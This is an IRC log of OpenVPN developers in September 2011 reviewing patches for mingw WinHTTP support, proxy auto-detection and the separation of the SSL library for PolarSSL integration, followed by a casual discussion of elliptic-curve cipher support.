<@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:16 * andj bows out 13:18 <@d457k> basically just the wrapper code removed since mingw supports it since several versions 13:18 <@jamesyonan> sure, that looks fine 13:19 <@mattock> nice! next one is: http://thread.gmane.org/gmane.network.openvpn.devel/4927 13:19 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:19 <@d457k> let's start with 1/3 13:20 <@d457k> during configure it's check if winhttp code compiles, is not the compat layer macro is defined 13:21 <@d457k> the macros themselfes caused concerns by some ppl 13:23 <@d457k> i of course don't see any probs =) 13:25 <@andj> not too familiar with this kind of code 13:26 <@jamesyonan> Why do we have to add so much ugly code to deal with the fact that mingw is not up-to-date? 13:26 <@jamesyonan> Can't mingw be updated with latest windows headers? 13:26 <@d457k> mingw does not support winhttp at all so far 13:27 <@jamesyonan> but isn't it just a library? 13:27 <@d457k> yes, i've requested support, but it's not in sight 13:27 <@jamesyonan> it seems that anything that can be loaded at run time with LoadLibrary can also be bound at link time 13:28 <@d457k> iff you have the .lib and .h 13:29 <@d457k> the lib on windows is there, but the link lib and headers are missing in mingw/unis cross-compile env 13:30 <@d457k> if we don't have the compat layer openvpn cannot be compiled in linux or with gcc/cygwin/msys on windows 13:31 <@jamesyonan> wouldn't it be easier to add the right header to mingw for this library 13:33 <@jamesyonan> not sure how you do this with mingw, but in VC it would just be the C prototypes with declspec dllexport, and that would generate the .lib 13:33 <@d457k> haven't looked into mingw yet, I think it should be doable be someone. however it will take a while until that gets into distributions 13:35 <@d457k> there's a .a for every .dll in mingw, guess gcc does have that feature 13:35 <@d457k> *not have 13:36 <@jamesyonan> why not just generate the .a as a part of the build process when using mingw 13:36 <@uuuppz> who is the primary user for the mingw build? 13:37 <@mattock> uuuppz: there are quite a few people using it, but we got no numbers 13:37 <@jamesyonan> that keeps the LoadLibrary ugliness (and possible security issues) out of the OpenVPN code 13:37 <@d457k> i'm one of them 13:37 <@mattock> d457k: is jamesyonan's solution ok for you? 13:38 <@d457k> don't know how to do such an .a 13:38 <@d457k> LoadLibrary is secure if you use full paths 13:38 <@uuuppz> http://www.mingw.org/wiki/CreateImportLibraries 13:38 <@vpnHelper> Title: HOWTO Create an Import Library for a DLL using MinGW | MinGW (at www.mingw.org) 13:40 <@d457k> cool, I'll look into it 13:40 <@mattock> nice! 13:40 <@mattock> next one? 13:40 <@d457k> yes 13:40 <@mattock> http://thread.gmane.org/gmane.network.openvpn.devel/4927/focus=4929 13:40 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:42 <@mattock> no discussion on the ml it seems 13:42 <@andj> + options->auto_proxy_info = get_proxy_settings ("https://openvpn.net", &error, &options->gc); 13:42 <@andj> does that mean that openvpn.net is always chosen 13:42 <@andj> as a reference? 13:44 <@jamesyonan> yeah, I don't understand why https://openvpn.net is in this code 13:44 <@vpnHelper> Title: OpenVPN - Open Source VPN (at openvpn.net) 13:45 <@mattock> leftover from testing? 13:45 <@andj> I assumed it was to query proxy settings for reaching that url 13:45 <@andj> as opposed to a different, local one 13:45 <@d457k> no that will be resolved in 3/3 13:45 <@andj> ah, ok 13:46 <@d457k> it's just temporary so to say 13:46 <@d457k> the hostname/ip address of the actual server will be used then 13:46 <@mattock> pretty big patch, definitely needs testing... but besides that, does it look ok? 13:49 <@andj> codewise I haven't got a problem with it, I just don't know the API, which means I don't know any weirdness with it 13:49 <@mattock> jamesyonan: any thoughts? 13:50 <@jamesyonan> does this patch have any interactions with management interface command http-proxy-fallback and >PROXY notifications? 13:50 <@d457k> no just replaces the code query functionality 13:51 <@d457k> however it could be that 3/3 introduces issues 13:51 <@jamesyonan> I'm concerned about breaking existing functionality 13:52 <@d457k> it moves the time auto_proxy_info is queried to init 13:52 <@d457k> whats http-proxy-fallback and >PROXY 13:53 <@d457k> we should look at 3/3 as well right now mattock 13:53 <@mattock> ok 13:53 <@jamesyonan> http-proxy-fallback is a way to automatically fall back to using a proxy if a direct connection fails 13:53 <@mattock> http://thread.gmane.org/gmane.network.openvpn.devel/4927/focus=4926 13:54 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:54 <@d457k> ok i'll investigate that 13:54 <@d457k> and >PROXY? 13:55 <@d457k> http-proxy-fallback is not in the manual, is it? 13:56 <@jamesyonan> it may not be, it's a relatively new feature 13:57 <@jamesyonan> it's designed to allow the client that's driving the management interface to communicate the proxy info, but only if it's needed because a direct connection failed 13:58 <@andj> ack on 3/3 13:58 <@andj> fwiw 13:58 <@d457k> but isn't that obsolete with wpad? 13:59 <@d457k> where should the client get the info from if not from wpad or the IE settings? 13:59 <@d457k> what other itch does the feature scratch 14:00 <@uuuppz> well I can think of one issue..... 14:00 <@jamesyonan> well it's a portability issue... 14:00 <@uuuppz> if client is running as service 14:00 <@uuuppz> its likely not to be running under the same user account 14:00 <@uuuppz> as the gui using the MI 14:00 <@uuuppz> afaik IE proxy settings are per user 14:01 <@uuuppz> might be wrong.... 14:01 <@jamesyonan> yes, that's an issue as well 14:01 <@d457k> wpad is not per user and the code also queries the system proxy settings set via proxycfg 14:01 <@d457k> also, with the interactive service openvpn will be running as the user 14:01 <@jamesyonan> it's basically (a) proxy detection is os-specific, and (b) may be user-specific as well 14:02 <@d457k> os is an issue, ack 14:02 <@uuuppz> imo tho 14:02 <@uuuppz> in this case 14:02 <@uuuppz> for my GUI if I add proxy support - I would expect to pass the proxy as a CLI param. I should know this before I start the con. 14:02 <@uuuppz> (sorry not if, when, I promise I will !) 14:03 <@d457k> valid argument 14:03 <@jamesyonan> well it's a performance issue -- it takes time to get proxy info via WPAD because multiple strategies need to be tried 14:04 <@d457k> either you pass --auto-proxy or --http-proxy 14:04 <@mattock> I think IE is/was doing tons of proxy auto-detection also, which makes/made startups really slow 14:04 <@mattock> different strategies, that is 14:05 <@mattock> with timeouts 14:05 <@mattock> maybe it's using WPAD :D 14:05 <@andj> there's not much of a problem with a choice is there? either do it manually, or do it automatically? 14:05 <@d457k> this can be disabled on a per connection basis, tho 14:05 <@jamesyonan> yeah, but http-proxy-fallback is a more automatic solution because it only tries the proxy if direct connect fails 14:05 <@jamesyonan> so there's no WPAD-related startup overhead in the case where direct connect succeeds 14:06 <@andj> and auto should be pretty exhaustive from an end-user's standpoint 14:06 <@d457k> in my test wpad did not take more than 2-3 sec. if it was not configured 14:06 <@jamesyonan> andj: sure, just want to make sure that this patch plays well with the existing functionality 14:07 <@d457k> and one the pac file was located and loaded it's unfortunately cached 14:07 <@andj> jamesyonan: agree on not breaking the fallback option to try directly first 14:08 <@d457k> yes I'll check out if it breaks that, wasn't aware of the functionality 14:08 <@d457k> is it mgmt itf only? 14:08 <@jamesyonan> yeah 14:08 <@d457k> how is it activated? 14:08 <@d457k> or can you always pass the info 14:10 <@jamesyonan> the options http-proxy-fallback and http-proxy-override control it 14:10 <@d457k> so you need both to be asked by ovpn via mgmt? 14:12 <@jamesyonan> basically the MI sends a >PROXY notification if it needs proxy settings 14:12 <@d457k> ok now i understand 14:13 <@andj> so verify PROXY, http-proxy-fallback, and http-proxy-override during tests? 14:13 <@andj> for an ACK? 14:13 <@d457k> i think i should have stumbled over the feature if it would have been in the way 14:13 <@d457k> but i'll verify until next week 14:13 <@jamesyonan> that sounds good 14:14 <@d457k> ok so 1/3 with dlltool nad 2/3 & 3/3 need verification regarding fallback breakage 14:14 <@d457k> be be back on the list regarding both 14:15 <@mattock> d457k: excellent! 14:15 <@andj> cool 14:15 <@mattock> shall we tackle a few SSL library separation patches: https://community.openvpn.net/openvpn/wiki/PolarSSLintegration#SSLlibraryseparation 14:15 <@vpnHelper> Title: PolarSSLintegration – OpenVPN Community (at community.openvpn.net) 14:15 <@andj> http://article.gmane.org/gmane.network.openvpn.devel/4957 ? 14:15 <@vpnHelper> Title: Gmane -- Mail To News And Back Again (at article.gmane.org) 14:15 <@mattock> not that many left, actually 14:15 <@andj> seems relatively straightforward :) 14:15 <@mattock> andj: the show is yours :) 14:15 <@andj> to finish off the other patch queue, but Polar is cool too 14:16 <@mattock> oh, we (=I) forgot one patch 14:16 <@andj> ok: https://github.com/andj/openvpn-ssl-refactoring/commit/df9b63c5c0b3333d7171e76dd3dab87b9274cbf8 14:16 <@vpnHelper> Title: Commit df9b63c5c0b3333d7171e76dd3dab87b9274cbf8 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 14:16 <@andj> almost got acked last week 14:16 <@mattock> http://article.gmane.org/gmane.network.openvpn.devel/4957 14:16 <@vpnHelper> Title: Gmane -- Mail To News And Back Again (at article.gmane.org) 14:16 <@andj> https://gist.github.com/1171353 14:16 <@vpnHelper> Title: andj's gist: 1171353 Gist (at gist.github.com) 14:16 <@andj> However there was a question from dazo 14:16 <@andj> abot the code at line 56 of the gist 14:16 <@mattock> disregard my link above, let's tackle polarssl first 14:16 <@andj> carefull consideration shows that the removed code is dead code 14:17 <@andj> since that function got called with "SSL_FILETYPE_PEM" 14:17 <+krzee> (RIP dead code) 14:17 <@andj> hard coded 14:18 <@d457k> i'm out guys 14:18 <@d457k> thanks for the feedback 14:18 <@andj> thanks d457k 14:19 <@mattock> bye! 14:19 <+krzee> later d457k! 14:19 <@jamesyonan> take care 14:20 <@jamesyonan> ok, so you're saying the line 56 code would never be called? 14:21 <@andj> it would never be called 14:21 <@andj> I think it got copy-pasted from the openssl code 14:21 <@andj> but openvpn always uses PEM 14:24 <@jamesyonan> right, that makes sense 14:25 <@andj> the other difference is that the late call to SSL_CTX_use_certificate_chain_file  is gone 14:25 <@andj> and moved to the tls_ctx_load_cert_file() function 14:26 <@andj> used to be: "SSL_CTX_use_certificate_file " is now "SSL_CTX_use_certificate_chain_file " 14:26 <@andj> since that makes more sense to call directly, instead of waiting 14:27 <@andj> was that an ack? or do you want to check the second point 14:29 <@jamesyonan> but isn't SSL_CTX_use_certificate_chain_file somewhat different than SSL_CTX_use_certificate_file? 14:30 <@andj> yes, but if you use the former, in the original code 14:30 <@andj> using_file or something is set 14:30 <@andj> and it's called anyway 14:30 <@andj> which just overrides the previous choice 14:31 <@andj> I remember asking about it on -devel at some point 14:31 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/df9b63c5c0b3333d7171e76dd3dab87b9274cbf8#L0L1998 14:31 <@vpnHelper> Title: Commit df9b63c5c0b3333d7171e76dd3dab87b9274cbf8 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 14:31 <@andj> and https://github.com/andj/openvpn-ssl-refactoring/commit/df9b63c5c0b3333d7171e76dd3dab87b9274cbf8#L0L2106 14:31 <@vpnHelper> Title: Commit df9b63c5c0b3333d7171e76dd3dab87b9274cbf8 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 14:31 <@andj> so the latter is just moved forward a little 14:32 <@andj> to ease the split in SSL library 14:32 <@andj> to: https://github.com/andj/openvpn-ssl-refactoring/commit/df9b63c5c0b3333d7171e76dd3dab87b9274cbf8#L2R431 14:32 <@vpnHelper> Title: Commit df9b63c5c0b3333d7171e76dd3dab87b9274cbf8 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 14:33 <@andj> the non-chain version just doesn't load the chained CAs 14:33 <@andj> while the chained version does 14:33 <@andj> which is the desired behaviour 14:33 <@andj> otherwise you wouldn't be supplying a chain 14:35 <@jamesyonan> does this interact in any way with "extra-certs" option? 14:35 <@andj> that's the next patch, or one of the next ones, let me get a link 14:35 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/b5ceb7049dd57ac8e7fa05d542c479382a4ed1ed 14:35 <@vpnHelper> Title: Commit b5ceb7049dd57ac8e7fa05d542c479382a4ed1ed to andj/openvpn-ssl-refactoring - GitHub (at github.com) 14:36 <@jamesyonan> re: chained vs. non-chained, shouldn't the cert file contain a singleton cert, and have intermediates necessary to build up the chain be in ca list? 14:37 <@andj> it can be in the pem file as well, that's why the code at https://github.com/andj/openvpn-ssl-refactoring/commit/df9b63c5c0b3333d7171e76dd3dab87b9274cbf8#L0L2106 was there 14:37 <@vpnHelper> Title: Commit df9b63c5c0b3333d7171e76dd3dab87b9274cbf8 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 14:37 <@andj> it's about the chain sent to remote, not the one used to verify 14:38 <@andj> anyway, to answer your earlier question about extra_certs 14:38 <@jamesyonan> right 14:39 <@andj> those are loaded after the chain is loaded 14:39 <@andj> which should be fine 14:39 <@jamesyonan> some people use a different CA chain to sign servers vs. clients 14:40 <@andj> that's still very much valid 14:40 <@jamesyonan> cool 14:40 <@mattock> ACK? 14:40 <@jamesyonan> yes, ACK 14:40 <@andj> next up is mgmt key loading 14:40 <@mattock> andj: what exactly did we get ACKed? 14:40 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/2a5f084332fc7a619107513b17b2f4a3dc0c31b2 14:40 <@vpnHelper> Title: Commit 2a5f084332fc7a619107513b17b2f4a3dc0c31b2 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 14:40 <@mattock> so many links... :P 14:40 <@andj> df9b63c5c0b 14:41 <@mattock> ok 14:41 <@andj> the gist is here https://gist.github.com/1171413 14:41 <@vpnHelper> Title: andj's gist: 1171413 Gist (at gist.github.com) 14:41 <@andj> for the last one 14:41 <@andj> shows that not much canged 14:41 <@andj> +c 14:41 <@andj> +h even 14:41 <@andj> just got moved 14:42 <@andj> to the openssl-specific part 14:44 <@jamesyonan> is this to support management-external-key? 14:45 <@andj> yes, that's it 14:45 <@andj> moves to the openssl-specific backend 14:46 <@jamesyonan> right, this is fine 14:46 <@andj> ok, extra certs got ack'ed by dazo 14:46 <@andj> so: https://github.com/andj/openvpn-ssl-refactoring/commit/899913d235502a2a6bd754e368bbe5a782a83911 14:47 <@vpnHelper> Title: Commit 899913d235502a2a6bd754e368bbe5a782a83911 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 14:47 <@andj> that moves the keystate ssl-specific stuff into an extra struct 14:47 <@andj> https://gist.github.com/1171454 14:47 <@vpnHelper> Title: andj's gist: 1171454 Gist (at gist.github.com) 14:47 <@andj> not much difference, just a struct added 14:47 <@andj> if you look at the gist 14:48 <@andj> the ks_ssl struct is library-specific 14:48 <@andj> and contains the BIOs, or whatever $library uses 14:50 <@jamesyonan> where do configuration file boolean options end up? 14:51 <@andj> in ssl_common.h 14:51 <@andj> see https://github.com/andj/openvpn-ssl-refactoring/commit/899913d235502a2a6bd754e368bbe5a782a83911#L3L45 14:51 <@vpnHelper> Title: Commit 899913d235502a2a6bd754e368bbe5a782a83911 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 14:51 <@jamesyonan> so this is just a pure refactor then? 14:51 <@andj> they were copied there in an earlier patch 14:51 <@andj> yes 14:52 <@jamesyonan> looks fine to me 14:52 <@andj> ok, same for the next patch: https://github.com/andj/openvpn-ssl-refactoring/commit/68adc0eff8f06eef9d98a4bd12eb36bcbfc62164 14:52 <@vpnHelper> Title: Commit 68adc0eff8f06eef9d98a4bd12eb36bcbfc62164 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 14:52 <@andj> https://gist.github.com/1171458 14:52 <@vpnHelper> Title: andj's gist: 1171458 Gist (at gist.github.com) 14:52 <@andj> does the same, but for init 14:53 <@andj> basically, just moves the key state init to the backend 14:54 <@jamesyonan> looks good 14:54 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/fc50119c1fe1b37cebc76913c66854bce103b68f 14:54 <@vpnHelper> Title: Commit fc50119c1fe1b37cebc76913c66854bce103b68f to andj/openvpn-ssl-refactoring - GitHub (at github.com) 14:54 <@andj> for the write functions 14:54 <@andj> https://gist.github.com/1140049 14:54 <@vpnHelper> Title: andj's gist: 1140049 Gist (at gist.github.com) 14:54 <@andj> this is the actual refactor 14:54 <@andj> of the key state write 14:56 <@andj> that's the wrong gist 14:56 <@andj> oops 14:57 <@andj> let me make a new one 14:57 <@mattock> I think I got so split soon, early wakeup tomorrow 14:57 <@andj> almost there :) 14:57 <@andj> correct gist: https://gist.github.com/1140049 14:57 <@vpnHelper> Title: andj's gist: 1140049 Gist (at gist.github.com) 14:58 <@andj> after this 1 more, and we have separation done 14:59 <@andj> oh wait, missed one 14:59 <@andj> 2 more after this 15:00 <@andj> jamesyonan: still here, and on the correct gist now? 15:00 <@mattock> yeah, 2 15:00 <@jamesyonan> yes, I'm looking at it 15:01 <@andj> ok, sorry, just checking that I wasn't wasting your time :) 15:02 <@jamesyonan> why is it that struct tls_multi* multi is no longer passed to some of the functions, like bio_write? 15:03 <@andj> wasn't used if I'm not mistaken 15:04 <@andj> yeah, it was passed straight to bio_write 15:04 <@andj> and bio_write only used the ks_ssl parts of it 15:04 <@jamesyonan> yeah, I see 15:05 <@andj> so it cleans up nicely :) 15:05 <@andj> bio stuff doesn't need to know about openvpn structs anyway 15:07 <@jamesyonan> this one looks fine 15:07 <@andj> ok, read code: https://github.com/andj/openvpn-ssl-refactoring/commit/72e75b9776e7528a8e36671f8e5337a00aa840ba with gist at https://gist.github.com/1171480 15:07 <@vpnHelper> Title: Commit 72e75b9776e7528a8e36671f8e5337a00aa840ba to andj/openvpn-ssl-refactoring - GitHub (at github.com) 15:08 <@mattock> second last 15:08 <@andj> whee 15:08 <@andj> :) 15:08 <@mattock> \o/ 15:09 <@jamesyonan> looks fine 15:09 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/7e4fb7ce9e061e180ab2f6a78da15ac0b797cc77 15:09 <@vpnHelper> Title: Commit 7e4fb7ce9e061e180ab2f6a78da15ac0b797cc77 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 15:09 <@andj> no gist 15:09 <@andj> that removes the ks and ks_lame macro's 15:09 <@andj> since they weren't used everywhere 15:10 <@andj> and confused the hell out of me at first 15:10 <@andj> especially since they were undefed halfway through the file 15:10 <@andj> this does the same thing, but makes it a little easier on the eyes 15:12 <@andj> ok, a quick request: the next large patch is the PolarSSL addition one, the rest are just small bugfixes and such 15:13 <@andj> could people have a look at the PolarSSL one in their spare time? 15:13 <@jamesyonan> sure that makes sense -- but why does the diff not show '-' for removed ks/ks_lame 15:13 <@andj> I don't think a 2-hour session will cut it 15:13 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/7e4fb7ce9e061e180ab2f6a78da15ac0b797cc77#L0L2754 15:13 <@vpnHelper> Title: Commit 7e4fb7ce9e061e180ab2f6a78da15ac0b797cc77 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 15:13 <@andj> it used to be a macro 15:14 <@andj> at that location 15:14 <@jamesyonan> ah, right -- yes, I agree that it's more clear to lose the macro 15:14 <@andj> cool, that's it for OpenSSL separation 15:14 <@andj> thanks :) 15:15 <@mattock> nice! 15:15 <@jamesyonan> great 15:15 <@andj> next patch is the big one, but that's for another time 15:15 <@andj> and there's lots of small ones 15:15 <@jamesyonan> andj: BTW, what is the code size difference between OpenSSL and PolarSSL? 15:15 <@mattock> patch tracking page up-to-date: https://community.openvpn.net/openvpn/wiki/PolarSSLintegration?version=60 15:15 <@vpnHelper> Title: PolarSSLintegration – OpenVPN Community (at community.openvpn.net) 15:16 <@andj> not entirely sure, significant is all I can say 15:16 <@andj> thanks, mattock 15:16 <@mattock> thanks to everyone! 15:16 <@andj> you can disable most modules in polarssl 15:16 <@andj> http://polarssl.org/source_code 15:16 <@vpnHelper> Title: PolarSSL Source Code overview - PolarSSL (at polarssl.org) 15:16 <@mattock> I'll write the summary tomorrow 15:17 <@andj> basically you can just say: "I only want AES, with SHA-256" 15:17 <@andj> and that's all you get 15:17 <@jamesyonan> I ask because we're starting to see OpenVPN ported to smartphones and I'm wondering how much of a space saving you would get with PolarSSL 15:17 <@andj> probably quite a significant amount 15:18 <@andj> But you'd lose some ciphers too 15:18 <@andj> blowfish isn't in there 15:18 <@andj> while it's the default for ovpn-openssl 15:18 <@andj> I'm actually quite interested in what would happen if it were built against the kernel crypto api 15:19 <@andj> because that often supports the hardware acceleration on phones 15:19 <@jamesyonan> you mean calling the kernel crypto api from userspace? 15:20 <@andj> isn't there some userspace wrapper library? 15:20 <@andj> it's just something I was toying with, not sure about it yet :) 15:21 <@jamesyonan> interesting idea -- probably just for the data channel 15:21 <@andj> yeah, but that's pretty intensice 15:21 <@andj> intensive 15:21 <@andj> even 15:21 <@andj> but perhaps it's better to build it into a userspace library like polarssl 15:21 <@andj> and just use that 15:22 <@jamesyonan> yeah, calling into the kernel can be expensive 15:23 <@andj> anyway, with the hardware support getting built-in everywhere from arm to intel at the moment, it would be a nice option 15:23 <@jamesyonan> it's better if crypto acceleration is added to the instruction set, so user space can use it without penalty 15:24 <@andj> I know polar has padlock support: http://polarssl.org/trac/browser/trunk/include/polarssl/padlock.h 15:24 <@vpnHelper> Title: padlock.h in trunk/include/polarssl – PolarSSL Trac page (at polarssl.org) 15:24 <@andj> something similar for arm/intel would be pretty cool 15:25 <@andj> anyway, got to go too 15:26 <@jamesyonan> thanks everyone 15:52 <@uuuppz> andj: would be really good if you did kernel crypto 15:52 <@uuuppz> that has AES ni support! :) 15:54 <@uuuppz> you'd save all costs of context switch for that 16:23 * ecrist <3 AES-NI 16:24 <+ecrist> we use it for usb disk encryption 16:24 <+ecrist> and my mac is using it for full disk encryption now 16:35 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 16:35 -!- mode/#openvpn-devel [+v krzie] by ChanServ 16:39 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Client Quit] 17:15 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 17:42 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 246 seconds] --- Day changed Fri Sep 09 2011 00:29 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Ping timeout: 245 seconds] 02:04 -!- dazo_afk is now known as dazo 02:14 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 02:14 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 03:01 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Ping timeout: 240 seconds] 03:02 -!- novaflash [~notme@openvpn/user/novaflash] has quit [Ping timeout: 250 seconds] 03:19 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 03:19 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 06:37 <@dazo> mattock: great announcement on -devel!!! Windows snapshot! 06:37 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Quit: Ctrl-C at console.] 06:38 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 06:38 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 08:39 <@cron2> mattock: indeed! +5! :-) 10:00 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 10:00 -!- mode/#openvpn-devel [+v krzee] by ChanServ 10:24 -!- dazo is now known as dazo_afk 10:45 -!- dazo_afk is now known as dazo 11:57 -!- novaflash [~notme@openvpn/user/novaflash] has joined #openvpn-devel 12:23 -!- dazo is now known as dazo_afk 13:34 <@mattock> cron2, dazo: is this irony or are you genuinely so excited :D 13:34 <@mattock> +5 is a lot :P 13:34 <@mattock> as is "!!!" 14:57 -!- raidz [~Administr@openvpn/corp/admin/andrew] has quit [Quit: Leaving.] 14:58 -!- raidz [~Administr@openvpn/corp/admin/andrew] has joined #openvpn-devel 14:58 -!- mode/#openvpn-devel [+o raidz] by ChanServ 15:39 <@cron2> mattock: I'm genuinely excited that we managed to get back to a buildable windows source tree 15:39 <@cron2> (because this also implies dazo is catching up on the patch queue, etc.) 15:54 < novaflash> hurray. 16:16 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Read error: Connection reset by peer] 17:02 -!- chantra [~chantra@unaffiliated/chantra] has quit [Ping timeout: 252 seconds] 17:03 -!- chantra [~chantra@unaffiliated/chantra] has joined #openvpn-devel 18:31 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] --- Day changed Sat Sep 10 2011 04:03 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 250 seconds] 08:23 -!- novaflash [~notme@openvpn/user/novaflash] has quit [Ping timeout: 250 seconds] 08:25 -!- novaflash [novaflash@openvpn/user/novaflash] has joined #openvpn-devel --- Day changed Sun Sep 11 2011 06:47 -!- novaflash [novaflash@openvpn/user/novaflash] has quit [Remote host closed the connection] 07:00 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Ping timeout: 260 seconds] 07:09 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 08:02 -!- novaflash [~notme@openvpn/user/novaflash] has joined #openvpn-devel 21:42 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 21:42 -!- mode/#openvpn-devel [+v krzie] by ChanServ 22:48 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 250 seconds] 22:59 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 22:59 -!- mode/#openvpn-devel [+v krzie] by ChanServ --- Day changed Mon Sep 12 2011 00:50 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Ping timeout: 260 seconds] 02:12 -!- dazo_afk is now known as dazo 02:30 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 02:30 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 02:54 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 02:54 -!- mode/#openvpn-devel [+v janjust] by ChanServ 03:24 <@vpnHelper> RSS Update - tickets: #160: openvpn sometimes doesn't provide 'common_name' env. var during client-disconnect execution. <https://community.openvpn.net/openvpn/ticket/160> 06:45 <+janjust> anybody home? 06:47 <+ecrist> yep 07:04 <+janjust> yo ecrist 07:04 <+janjust> just saw ticket #160, seems like a repeat from early 2010 07:20 <@dazo> janjust: yupp! I got strong reminders of that one ... and I think James was reluctant to accept the patch, as he said that should not happen .... 07:20 <+janjust> yep, I've recommended the same patch again, perhaps this time with those settings we can reproduce it... 07:21 <+janjust> and for something completely different: I've been playing with elliptic curve settings 07:21 <@dazo> yeah, and it might be exactly the same bug I've been hitting a few times with my eurephia plug-in ... I have some sessions which is never cleaned up, even though most of the time it "just works" 07:21 <@dazo> nice! 07:22 <+janjust> https://forums.openvpn.net/topic8404.html 07:22 <@vpnHelper> Title: OpenVPN Support Forum OpenVPN Elliptic Curves (SHA512, ECDSA, ECDH, Linux, Debian) : Configuration (at forums.openvpn.net) 07:22 <+janjust> with a minor patch ECDA + SHA512 can be supported 07:22 <+janjust> EDCA=>ECDH 07:23 <@dazo> ooohhh ... that is nice! 07:24 <@dazo> janjust: would you be able to get that patch into a proper format (with complete commit message) and get it posted to the -devel ML? 07:24 <@dazo> then we'll get James' look at it 07:26 <@dazo> or maybe that patch needs some more work? EC_KEY_new_by_curve_name() should probably just be called in this scenario 07:26 <+janjust> that patch definitely needs some work 07:26 <+janjust> but I didn't want to enter it as a fulll patch without knowing what was going on with the SSL separation 07:26 <@dazo> well, I can always help out digging into that 07:26 <+janjust> the current patch is VERY openssl specific 07:27 <@dazo> yeah, the separation patches will complicate this a bit 07:27 <+janjust> speaking of SSL separation: will there be a way to determine (runtime) which SSL lib is used? 07:29 <+janjust> I'll see if I can convert the patch to be a bit more generic, e.g. add an option 'ec-curve' 07:29 <+janjust> I'm still having a problem with the patch however: I don't know how to tell whether the right EC signing algorithm is used for the DATA channel 07:30 <+janjust> the TLS control channel reports ECDH-AES256-SHA but the DATA channel is encoded entirely differently 07:32 <@dazo> At the moment, it SSL library is defined at compile time. We've not considered doing anything dynamic, and I struggle to see the point of that at the moment 07:34 <@dazo> Regarding the data channel ... that should normally just be a standard symmetric encryption, afaik ... all the signing and hmac stuff is done after the symmetrical encrypted data is ready - but I don't recall now if that is done by openssl or openvpn code paths 07:34 <@dazo> andj would probably know that, but he's on holiday now for some weeks 07:40 <@dazo> janjust: btw, the doxygen patches are in master now (if you haven't noticed), so it might be those docs are more informative 07:41 <+janjust> OK 07:42 <+janjust> it would be nice to know the type and version of the SSL library inside scripts 07:42 <+janjust> UNLESS you can guarantee that all libs behave in exactly the same manner 07:42 <@dazo> that's a very good point 07:42 <+janjust> but even between different openssl libs the behaviour is already different (compare 0.9.8 vs 1.0) 07:43 <+janjust> and this elliptic curve stuff is another nice example: it would be nice to know *runtime* if the library can support a particular cipher 07:43 <@dazo> yeah, exactly ... we can't be absolutely sure of coherent behaviour, so I agree, we should have some kind of id there 07:44 <+janjust> and , of course, it would also be nice to reject any client that is connecting with a polarssl-linked version :P 07:44 <@dazo> hehe 07:44 <+janjust> nah, I've got nothing against polarssl, it looks like they know how to write code 07:45 <+janjust> to come back to the data channel encryption: how is the cipher material exchanged between client and server? if that's done using the EC-encoded TLS channel then the ciphering material should also be EC-capable 07:48 <@dazo> I'm taking this from memory, but the SSL protocol uses the public key, private key + ca certificate together with DH params to negotiate a temporary key (the so-called KEX routine) ... from that a static key is derived, which is used for the tunnel data. OpenVPN uses only one "channel" through the SSL connection, afaik, so the "data channel" is basically just a flag in the stream indicating for the other openvpn process if it is data 07:48 <@dazo> or control data 07:49 <@dazo> so OpenVPN does the multiplexing between data and control stuff ... over a unified SSL stream 07:50 <@dazo> so the traffic over the SSL link, should probably just as well be EC enabled if the handshake agreed on EC 08:00 <+janjust> cool! 08:00 <+janjust> errr... but then I don't understand why the difference between --cipher, --auth and --tls-auth 08:01 <+janjust> tls-auth -> tls-cipher 08:19 <@dazo> --auth is configuring the HMAC algorithm used for the SSL packets ... I believe this is passed straight on to OpenSSL 08:19 <@dazo> that goes for all SSL packets, iirc 08:19 <@dazo> --cipher defines which encryption algorithm the symmetric encryption should use, after the KEX has completed 08:19 <@dazo> and --tls-cipher defines the algorithms used while doing the KEX 08:20 